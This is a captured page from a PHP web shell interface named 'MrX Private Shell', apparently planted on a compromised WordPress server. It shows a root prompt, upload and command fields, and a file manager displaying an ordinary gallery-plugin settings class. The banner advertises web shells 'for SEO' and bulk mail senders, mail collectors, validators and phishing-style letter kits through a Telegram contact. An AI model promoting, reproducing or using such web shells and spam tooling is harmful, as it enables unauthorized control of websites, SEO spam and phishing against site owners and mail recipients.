__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

root@216.73.217.120: ~ $
<?php

namespace Imagely\NGG\Settings;

use Imagely\NGG\Util\Serializable;

/**
 * Global settings manager for network-level settings.
 */
class GlobalSettings extends ManagerBase {

	/**
	 * Singleton instance.
	 *
	 * @var GlobalSettings|null
	 */
	public static $_instance = null;

	/**
	 * Get the singleton instance.
	 *
	 * @return GlobalSettings
	 */
	public static function get_instance() {
		if ( \is_null( self::$_instance ) ) {
			self::$_instance = new GlobalSettings();
		}
		return self::$_instance;
	}

	/**
	 * Save settings to the database.
	 *
	 * @return bool Whether the save was successful.
	 */
	public function save() {
		return \update_site_option( self::$option_name, $this->to_array() );
	}

	/**
	 * Load settings from the database.
	 */
	public function load() {
		$this->_options = \get_site_option( self::$option_name, $this->to_array() );

		if ( ! $this->_options ) {
			$this->_options = [];
		} elseif ( \is_string( $this->_options ) ) {
			$this->_options = Serializable::unserialize( $this->_options );
		}
	}

	/**
	 * Delete settings from the database.
	 *
	 * @return bool Whether the delete was successful.
	 */
	public function destroy() {
		return \delete_site_option( self::$option_name );
	}
}

Filemanager

Name Type Size Permission Actions
GalleryPathValidation.php File 2.04 KB 0644
GlobalSettings.php File 1.21 KB 0644
Installer.php File 10.42 KB 0644
ManagerBase.php File 7.46 KB 0644
Settings.php File 2.07 KB 0644
Filemanager